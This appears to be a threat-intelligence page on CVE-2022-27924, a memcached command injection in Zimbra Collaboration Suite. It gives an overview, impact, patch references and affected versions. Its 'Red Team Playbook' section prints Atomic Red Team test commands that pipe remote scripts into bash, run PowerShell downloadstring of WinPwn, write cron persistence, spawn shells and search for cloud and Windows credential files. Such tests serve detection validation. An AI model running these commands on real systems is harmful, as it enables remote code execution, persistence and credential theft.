CVE-2022-27924
Overview
This vulnerability is a memcached command injection affecting Zimbra Collaboration Suite versions 8.8.15 and 9.0. The root cause is improper sanitization of memcache commands injected by unauthenticated attackers, which are processed without escaping. This flaw resides in the memcache interface handling cached entries, allowing manipulation of cache data.
Vulnerability Description
Zimbra Collaboration (aka ZCS) 8.8.15 and 9.0 allows an unauthenticated attacker to inject arbitrary memcache commands into a targeted instance. These memcache commands becomes unescaped, causing an overwrite of arbitrary cached entries.
Impact
An attacker can exploit this vulnerability without authentication or user interaction to overwrite arbitrary cached data, including sensitive credentials stored in cleartext. This enables credential theft, which can facilitate subsequent spear phishing, social engineering, business email compromise, or persistent access through webshells. The compromised cache integrity undermines system trust and can lead to broader network infiltration and data breaches.
Solution
Zimbra has released security advisories recommending upgrading affected installations to fixed versions beyond 8.8.15 and 9.0. Detailed patch instructions and updates are available at the Zimbra Security Advisories portal (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories). Administrators should apply the latest patches as outlined in the official Zimbra Releases 9.0.0/P24 documentation to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Zimbra Collaboration Suite versions 8.8.15 and 9.0 allows unauthenticated attackers to inject arbitrary memcache commands into the system. This flaw arises from improper handling of user input, which leads to the commands being unescaped and subsequently executed. Memcached is a distributed memory caching system that enhances the performance of web applications by reducing database load. However, this vulnerability exposes the caching layer to manipulation, enabling attackers to overwrite arbitrary cached entries. The potential for command injection in this context is particularly concerning, as it can lead to a wide range of malicious activities, including data corruption, unauthorized access, and denial of service.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting exposed memcached instances. Attackers can leverage network access to the Zimbra server, sending crafted requests that exploit the command injection flaw. Once an attacker successfully injects commands, they can manipulate cached data, potentially altering user sessions, modifying application behavior, or even executing further attacks against the underlying database. The risk is exacerbated in scenarios where organizations rely heavily on caching for performance, as the impact of manipulated cache entries can ripple through the entire application, leading to significant disruptions.
The real-world implications of this vulnerability are profound, particularly for organizations that utilize Zimbra for email and collaboration services. An attacker could exploit this flaw to gain unauthorized access to sensitive communications, disrupt business operations, or compromise the integrity of critical data. The business risks associated with such an attack include financial losses, reputational damage, and potential regulatory penalties, especially if sensitive customer data is involved. Furthermore, the ease of exploitation, coupled with the potential for widespread impact, makes this vulnerability a high-priority concern for organizations using the affected versions of Zimbra.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Zimbra to the latest versions is crucial, as patches are released to address known vulnerabilities. Additionally, network segmentation can help limit access to the memcached layer, ensuring that only authorized services can interact with it. Employing intrusion detection systems (IDS) can also aid in identifying suspicious activity related to memcached commands. Organizations should conduct thorough security assessments and penetration testing to uncover potential weaknesses in their configurations and ensure that proper input validation and sanitization measures are in place.
In conclusion, the vulnerability present in Zimbra Collaboration Suite represents a significant threat to organizations that rely on this platform for communication and collaboration. The ability for unauthenticated attackers to inject arbitrary commands into the memcached layer poses serious risks, including data manipulation and unauthorized access. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can take proactive steps to mitigate these risks and protect their critical assets. Implementing robust detection and mitigation strategies will be essential in safeguarding against exploitation and ensuring the continued integrity of business operations.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-27924, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s operational relevance, particularly given its association with ransomware campaigns targeting Zimbra Collaboration Suite deployments. The emergence of a high EPSS score further signals an increased likelihood of exploitation attempts in the wild, despite a slight recent decline in short-term trend metrics. The elevation of the CVSS score to 7.5 reflects a reassessment of the vulnerability’s impact and exploitability, emphasizing the critical risk posed by unauthenticated memcache command injection. Collectively, these developments indicate a heightened threat posture that demands increased vigilance from defenders, as exploitation attempts may become more frequent and sophisticated. While no new exploit variants have surfaced, the convergence of telemetry trends and authoritative cataloging suggests that adversaries are actively leveraging this weakness, thereby elevating the overall threat level from moderate to high.
Affected Products (56)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
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|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p25:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p26:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-27924 |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Security_Center |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-27924 |